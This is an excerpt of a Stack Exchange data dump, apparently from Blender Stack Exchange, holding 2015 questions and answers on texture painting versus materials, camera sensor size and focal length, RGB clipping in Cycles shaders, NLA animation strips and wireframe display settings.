  <row Id="26250" PostTypeId="2" ParentId="26232" CreationDate="2015-02-25T01:44:03.710" Score="0" Body="&lt;p&gt;Looking at the code for &lt;a href=&quot;https://github.com/Moguri/bgui/tree/master/bgui&quot; rel=&quot;nofollow&quot;&gt;BGUI&lt;/a&gt;, it appears that the color parameter is not being used in text_input.py. Your best option is to use theme to customize the input text color.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-02-25T01:44:03.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26251" PostTypeId="1" AcceptedAnswerId="26252" CreationDate="2015-02-25T02:25:50.780" Score="2" ViewCount="2428" Body="&lt;p&gt;I've been wondering what the best method of coloring different parts of meshes is.  I know that it is possible to assign different materials to different vertices, and there is also a Texture Painting mode.  Which ones is better for coloring characters?  What about architecture?  Vehicals?  Also, as a side question, is there a way to turn on symmetrical editing in the Texture Painting mode?  Thanks so much for you help.  Happy Blending.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2018-07-18T07:44:01.073" Title="Texture Painting vs. Materials Assigned to Vertices" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26252" PostTypeId="2" ParentId="26251" CreationDate="2015-02-25T03:19:38.850" Score="3" Body="&lt;h3&gt;In short, texture painting and materials serve different purposes, it's not really an either-or situation.&lt;/h3&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Basically, texture painting is creating a &lt;em&gt;texture&lt;/em&gt;, not a &lt;em&gt;material&lt;/em&gt;; materials are different than textures.  &lt;strong&gt;A material tells the render engine how the object interacts with light, a texture is simply a set of colors&lt;/strong&gt;.  Textures are very useful for creating materials, textures can be used to determine the color of an object, be used as a mask, etc.  But in order to have a render you have to have a material, textures are just a part of a material and texture painting is just one way of creating a texture.&lt;/p&gt;&#xA;&lt;p&gt;To paint a texture onto an object using texture painting the object must be unwrapped.  Then as you paint the texture on the object in the 3D viewport, Blender paints on a 2D image in the UV/Image Editor.  This texture can then be saved as a .png (or other picture format) and used in a material to affect the rendering.&lt;/p&gt;&#xA;&lt;p&gt;To assign a material to individual faces, select the faces in edit mode and hit the &lt;em&gt;assign&lt;/em&gt; button in the material editor (with the proper material selected of course).  This will assign that material to those faces.  You can have the same material applied to many different objects, whereas (unless they share the same UVs) a texture painted on one object almost always won't look right at all on another.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-25T03:19:38.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26253" PostTypeId="2" ParentId="26144" CreationDate="2015-02-25T08:43:52.803" Score="4" Body="&lt;p&gt;There are still possible solutions by using some node-based animation addons like &lt;a href=&quot;https://github.com/JacquesLucke/animation-nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Animation nodes&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://cgcookiemarkets.com/blender/all-products/motiontool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;MotionTool&lt;/strong&gt;&lt;/a&gt;. It is hard to cover enough information here on how to use them, but you can learn them from many places, and they are not so hard to learn at all (I'll try cover the basic usage if really requested).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's take a simple case. Assuming you want to render the object(s) during frame 1 to 10, not render during frame 11 to 15, then render again from frame 16, we can use them to do so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup for Animation Nodes:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9C5nL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setup for MotionTool:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hqr9M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q2Bwq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: You can still insert keyframes for buttons and values on those nodes, which may further simplify the setups, but the animation data haven't been exposed to any editors, which makes it less convenient to control, and not currently recommended.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-02-26T01:59:30.830" LastActivityDate="2015-02-26T01:59:30.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26254" PostTypeId="1" AcceptedAnswerId="26271" CreationDate="2015-02-25T08:53:11.307" Score="8" ViewCount="849" Body="&lt;p&gt;I was writing a &lt;a href=&quot;http://elfnor.com/shaders-for-sverchok-01-object-info-node.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt; on the &quot;Object Info&quot; node of Blender Cycles and was trying to describe what happens when a color node is fed with numbers out side the interval (0, 1). I gave up and just said &quot;strange things happen&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to map values onto or clip them to the interval (0, 1) so I can usually get the effect I'm after but I'm curious and would like to understand how the color clipping works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below show a grid of cubes in the XY plane. They all have the same material as shown. The larger wire frame cube goes from (0, 0, 0) to (1, 1, 1). There are no lamps and the world surface color is set to (0.051, 0.051, 0.051) (default start up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ICW3h.png&quot; alt=&quot;color cubes on xy plane&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Lgpcl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside the wire frame cube all the little cubes seem to act like emission lights. I think this is related to the answer to this &lt;a href=&quot;https://blender.stackexchange.com/questions/23655/emission-shader-color-saturation-clipping&quot;&gt;question&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't get is the diagonal line of black cubes. For example rgb(2, -2, 0) gets mapped to black but rgb(2, -1.75, 0) gets mapped to red. There are other lines of black cubes if we move the grid of cubes up in z.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example all of the following cubes are black (-1, -1, 2) , (0.5, -1, 0.5), (-1, 0.5, 0.5), (0.5, 0.5, -1) , (2, -1, -1) (2.5, -3, 0.5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain how this works?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2016-12-30T09:06:45.513" Title="How and when does clipping of RGB values happen?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26255" PostTypeId="1" CreationDate="2015-02-25T09:26:17.687" Score="0" ViewCount="289" Body="&lt;p&gt;I appended objects to a blender file, but render view doesn't see their textures. I checked all possibilities and I found out it's caused by GPU. When I set the device to CPU, render view sees the textures and when I set the device to GPU, in render view and also in render there's no textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The greatest mystery on it is that in original blender file there are same objects with the same textures, they're rendered by GPU and it works. I use graphic card geforce 780.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help &lt;/p&gt;&#xA;" OwnerUserId="12807" LastEditorUserId="9" LastEditDate="2015-02-25T10:08:36.860" LastActivityDate="2015-02-25T10:08:36.860" Title="Cycles GPU doesn't render appended textures" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;gpu&gt;&lt;append&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26256" PostTypeId="1" AcceptedAnswerId="26259" CreationDate="2015-02-25T10:11:27.880" Score="7" ViewCount="7618" Body="&lt;p&gt;When i go to the camera values in the datablocks, I can change all the camera parameters:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Horizontal/Vertical FOV and the Focal Length and Sensor Size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I update the Horizontal or Vertical FOV, the Focal Length gets updated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I update the sensor width or sensor height, the corresponding FOV parameter gets updated, but the Focal Length does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nxjY.gif&quot; alt=&quot;Mapping between sensor size and focal length&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me I will make the mapping completely off and as soon as I change the sensor size, the focal length is no longer correct. Why is that? &#xA;I need correct camera values including the sensor size and I am not sure right now in which combination I can achieve them. &lt;/p&gt;&#xA;" OwnerUserId="7824" LastActivityDate="2015-02-25T20:09:19.577" Title="Relationship between the sensor size and focal length" Tags="&lt;camera&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26257" PostTypeId="2" ParentId="26256" CreationDate="2015-02-25T11:37:58.707" Score="3" Body="&lt;p&gt;A lens of a given length will create an image circle at the taking plane (focal point behind the lens) of a fixed size. The sensor fits within this image circle, first it crops to a rectangular shape, then (depending on sensor size) it can be cropped (or smaller) within the circle. Thus the effective Field Of View will change (like a zoom in) but the lens length can remain the same.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-02-25T11:37:58.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26258" PostTypeId="2" ParentId="23286" CreationDate="2015-02-25T11:53:11.847" Score="6" Body="&lt;p&gt;You could fake it with 3 additional ortho cameras layered in the VSE with scale transform effects arranged in a quad display. It renders super quick.&lt;img src=&quot;https://i.stack.imgur.com/T6rAt.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-02-25T11:53:11.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26259" PostTypeId="2" ParentId="26256" CreationDate="2015-02-25T12:06:26.210" Score="8" Body="&lt;p&gt;The focal length doesn't change with sensor size. A lens with a 35mm focal length is always 35mm. However, the FOV changes for the same focal length with different sensor size.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for the common misconception that the focal length gets longer with a smaller sensor, is that lens and camera manufacturers often (if not always) tell us that for instance &quot;This 50mm lens on this camera is equivalent to an 80mm lens on a 35mm sensor&quot;. What this means, is that on a Canon APS-C sensor&lt;sup&gt;1&lt;/sup&gt; a 50mm lens gives the same FOV as an 80mm lens would on a fullframe 35mm&lt;sup&gt;2&lt;/sup&gt; sensor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Crop_factor&quot; rel=&quot;nofollow&quot;&gt;Crop factor&lt;/a&gt; on Wikipedia explains it quite well.  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;Nikon has a different crop factor, so a 50mm lens on one of their cropped sensors would be equivalent to 75mm on a fullframe.&lt;/sub&gt;&lt;br&gt;&#xA;&lt;sup&gt;2&lt;/sup&gt;&lt;sub&gt;A fullframe 35mm sensor is actually 36mmx24mm. 35mm comes from the fact that film is 35mm wide, including the edges above and below the recorded image.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-25T20:09:19.577" LastActivityDate="2015-02-25T20:09:19.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26260" PostTypeId="2" ParentId="26216" CreationDate="2015-02-25T13:06:21.077" Score="6" Body="&lt;p&gt;An action can be assigned to another object in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/DopeSheet/Action&quot; rel=&quot;noreferrer&quot;&gt;action editor&lt;/a&gt;. This only works for armatures if the bones have matching names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more difficult re-targeting just enable the Motion Capture Tools addon that is included with blender. &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Animation/Motion_Capture_Tools&quot; rel=&quot;noreferrer&quot;&gt;The addon's wiki page&lt;/a&gt; includes links to the manual and video tutorials for using it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At the heart of the system, is the retargeting tool, which allows artists to transfer animations from the imported mocap armature to their own rig.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SZYog.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-25T13:06:21.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26261" PostTypeId="2" ParentId="24321" CreationDate="2015-02-25T13:23:43.403" Score="9" Body="&lt;p&gt;An often overlooked feature is blender's colour management options that can be found in the scene properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the simple exposure and gamma controls aren't enough you can enable Use Curves to get more control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZbmrA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-25T13:23:43.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26262" PostTypeId="1" CreationDate="2015-02-25T13:26:26.517" Score="0" ViewCount="123" Body="&lt;p&gt;I'm using an already existing animation in StoneHearth because I want it to be similar in style to the original.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is basically take this walking animation where a guy is holding two swords in his hands, and I want to move the 'offhand sword' away from his hand and onto his side because I'm going to replace the model with a sheath. I can do this for one keyframe but then the other 192 keyframes move it back to his hand. So I'm wondering if there is a way for me to move the object to his side and then make it attached there for the rest of the key frames.&lt;/p&gt;&#xA;" OwnerUserId="12810" LastEditorUserId="894" LastEditDate="2015-06-08T01:38:51.623" LastActivityDate="2015-06-08T01:38:51.623" Title="Using a previously made animation and trying to move 1 object in all keyframes" Tags="&lt;animation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26263" PostTypeId="1" AcceptedAnswerId="26304" CreationDate="2015-02-25T13:40:35.890" Score="1" ViewCount="87" Body="&lt;p&gt;I have an animation, which needs to be altered using data from another server. And i then need to send it to a render farm. The animation contains armature with IK rig, which needs to move dependent on the data from the other server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know, if it is possible.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2015-02-26T12:31:58.577" Title="Is it possible to render animations on server, with input from other server, changing the animation?" Tags="&lt;python&gt;&lt;rendering&gt;&lt;animation&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26264" PostTypeId="2" ParentId="26242" CreationDate="2015-02-25T13:44:46.213" Score="3" Body="&lt;p&gt;Silly me, i completely forgot about the option in the renders tab, i thought the user settings was enough. Anyway it does appear to work, fur mark does show the GPU heating up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't very useful due to it's low memory and little processing power, but being on a separate GPU i can render lesser projects while doing other tasks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did NOT have to enable Experimental Feature Set. do not know if it changes anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everyone!&lt;/p&gt;&#xA;" OwnerUserId="12801" LastActivityDate="2015-02-25T13:44:46.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26266" PostTypeId="1" AcceptedAnswerId="26547" CreationDate="2015-02-25T14:28:27.890" Score="0" ViewCount="53" Body="&lt;p&gt;I would like to tweak the BGUI, so the text_input widget would swap the color from highlighted to inactive after it has been deactivated by the mouse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realized that the color changes to inactive after pressing the enter key, but not after klicking with the mouse somewhere else on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you help me with that, please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Eugene &lt;/p&gt;&#xA;" OwnerUserId="12799" LastActivityDate="2015-03-03T09:15:40.520" Title="BGUI modify text_input widget" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26268" PostTypeId="1" AcceptedAnswerId="26270" CreationDate="2015-02-25T15:32:55.143" Score="2" ViewCount="733" Body="&lt;p&gt;I am making a computer game character and have successfully added the first idle animation. When i add a keyframe after the idle animation to begin the run animation, Blender is causing unwanted bone movement in the first frames (it makes the legs move in the idle animation). How do i tell Blender that i do not want changes in following animations to be applied to the first?&lt;/p&gt;&#xA;" OwnerUserId="12814" LastActivityDate="2015-02-26T07:37:40.837" Title="How can I add more than one animation to the same model?" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26269" PostTypeId="1" AcceptedAnswerId="26277" CreationDate="2015-02-25T15:48:09.203" Score="2" ViewCount="113" Body="&lt;p&gt;I was trying to create a simple glass and use physics on it. Well my problem is, that it can not fall on side and it is still going back standing on bottom. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to solve this? it looks like it has bottom heavy as block of concrete.&lt;/p&gt;&#xA;" OwnerUserId="12815" LastEditorUserId="2217" LastEditDate="2015-02-25T16:14:50.947" LastActivityDate="2015-02-25T17:24:44.313" Title="Self standing objects" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26270" PostTypeId="2" ParentId="26268" CreationDate="2015-02-25T16:01:40.500" Score="1" Body="&lt;p&gt;You need to add holding key frames to the end of you animation. At last frame it &lt;kbd&gt;A&lt;/kbd&gt; to select all then &lt;kbd&gt;I&lt;/kbd&gt;&gt;&lt;em&gt;LocRotScale&lt;/em&gt; to set the keyframes. now everything will stay in place&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-25T16:01:40.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26271" PostTypeId="2" ParentId="26254" CreationDate="2015-02-25T16:12:42.627" Score="6" Body="&lt;p&gt;This is result of Diffuse shader code implementation. Probably somewhere in the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if R + G + B = 0:    # black&#xA;    renderSurfaceBlack()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To back this up I tested with this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BPkyj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a cube on grey ground:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WH62J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see red cube with red bounce light (color bleed) and red-complementary bounce light (cyan) under a anti-red (cyan) cube but which is rendered black (explained later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When some channel is more than 1 the bounce light will look like emission (the light gets energy on bounces from the cube - energy is not preserved) and the surface will reflect redder red than it should (it will clip at 1,0,0 rendered red):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XTW9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Till now all makes some sense. When the channel is below -1 actual weird stuff happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBfFl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to render this, the sampling process is very wild in the start and looks like a burning fire under a piece of coal:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the sum of channels is not 0, all the negative values are replaced with 0 and that surface color is rendered.. You will still see the effect of negative channels in bounce light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0WB8y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum this diffuse shader behaviour up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the channel sum is 0 the surface color is black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the channel sum is not 0, the surface color is same as with all negative channels equal to 0.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-25T16:12:42.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26272" PostTypeId="1" CreationDate="2015-02-25T16:29:33.143" Score="6" ViewCount="1317" Body="&lt;p&gt;I use Cycles. The main goal is to render different objects from various scenes into separate files using alpha mask. It’s necessary to ensure that in future pictures do not overlap, when images superimposed out of order. All fine, BUT there is one nuance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dhq03.jpg&quot; alt=&quot;image with antialiasing problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Between layers (images) there are gaps (holes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found solution for similar problem but for internal render. There had to disable antialiasing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, I’ve experimented with nodes, but the result virtually unchanged:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GaHzs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GaHzs.jpg&quot; alt=&quot;compositor nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise how is it possible to remove all gaps (holes)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attached &lt;a href=&quot;https://docs.google.com/file/d/0B54KOglbI69jelAtN1l2ZGptd2M/edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; with the settings I used.&lt;/p&gt;&#xA;" OwnerUserId="12812" LastEditorUserId="2217" LastEditDate="2015-02-25T17:45:11.017" LastActivityDate="2016-04-19T22:00:00.213" Title="Cycles alpha mask hole" Tags="&lt;cycles-render-engine&gt;&lt;transparency&gt;&lt;render-layers&gt;&lt;masking&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26273" PostTypeId="1" CreationDate="2015-02-25T16:55:15.257" Score="1" ViewCount="1004" Body="&lt;p&gt;I get an error when I try to create a walk cycle using two action strip. The first is walk cycle in place and the second moving cycle from point A to point b. I could not understand why the NLA run only the top action ? &#xA;When I put the walk cycle as the top, the person walks in place and when I put the moving cycle at the top the person moves from A to B without any motion walking!!!&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iGqV1.png&quot; alt=&quot;image1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qSJSW.png&quot; alt=&quot;image2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="241" LastEditDate="2015-02-25T17:44:31.380" LastActivityDate="2015-02-27T08:24:20.450" Title="Why NLA editor run only the top action strip" Tags="&lt;animation&gt;&lt;nla-editor&gt;&lt;dopesheet&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26274" PostTypeId="1" CreationDate="2015-02-25T17:02:22.423" Score="0" ViewCount="960" Body="&lt;p&gt;Is there a way to change wireframe color and thicknes on 3d objects without rendering them?&#xA;The default wireframe appear is only one pixel, so I would like to increase it and also change color. If possible on only some objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow is the desired effect in &quot;object mode&quot; without any object selected, I can use python if necessary.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XgnLF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have wire checked to do this but I can't choose color by object or wire thickness:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LYycE.jpg&quot; alt=&quot;blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for information, I am no expert in 3D modeling. I jut use blender as 3d view with python scripts to import 3d objs dynamically.&lt;/p&gt;&#xA;" OwnerUserId="12817" LastEditorUserId="12817" LastEditDate="2015-02-25T17:37:55.280" LastActivityDate="2015-02-25T17:37:55.280" Title="Wireframe thickness like sketchup and color without rendering" Tags="&lt;wireframe&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26275" PostTypeId="1" AcceptedAnswerId="26295" CreationDate="2015-02-25T17:04:36.227" Score="1" ViewCount="1541" Body="&lt;p&gt;We have a series of real (not rendered, taken using canon cameras) photographs, arranged roughly in a sphere around a real world object.  We have used various Structure from Motion techniques to figure out precise camera pose parameters (position, quaternion, focal length) for each shot, and using that information, we successfully &quot;scanned&quot; this object into a mesh.  For instance, I've had a great deal of luck taking the camera information into Blender with the mesh, creating a virtual camera for each of the real world cameras, and rendering depth maps that lineup perfectly with the original photographs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're now interested in attempting to texture the mesh using the original photographs.  Conceptually this is simple; I position the cameras in Blender around the mesh just like I did for depth maps, and turn them into projectors (think old school slide projectors), projecting the photograph from the real world camera each represents back out onto the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The target output of this is a UV-mapped texture+mesh I can take out of Blender and into another environment, such as a game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Blender do something like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very new to Blender.  I'm aware of both (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Painting/Projection&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Painting/Projection&lt;/a&gt;) and (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Painting/Projection&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Doc:2.4/Manual/Textures/Painting/Projection&lt;/a&gt;), but at first glance this appears to be an artist driven approach rather than a mechanical one.  The end result is something we can hopefully automate in python, since there are many images.&lt;/p&gt;&#xA;" OwnerUserId="12816" LastActivityDate="2015-02-26T23:28:12.387" Title="How can I paint a mesh using projections of real photographs?" Tags="&lt;mesh&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26276" PostTypeId="2" ParentId="26274" CreationDate="2015-02-25T17:09:30.850" Score="2" Body="&lt;p&gt;In &lt;em&gt;File&lt;/em&gt;&gt; &lt;em&gt;User Preferences&lt;/em&gt;&gt; &lt;em&gt;Themes&lt;/em&gt;&gt; &lt;em&gt;3D View&lt;/em&gt; (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;) you can change the 'Active Object' colour and 'Outline Width' property:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E8J0O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the colour of multiple selected objects' outlines, you will also need to change the 'Object Selected' colour. The 'Active Object' property will only change the colour of the outline for the last selected object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jyUhg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing 'Outline Width' give this effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wDeAx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see, you can't change the thickness of the 'Edit mode' wire, only the 'Object mode' wire.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-25T17:16:15.333" LastActivityDate="2015-02-25T17:16:15.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
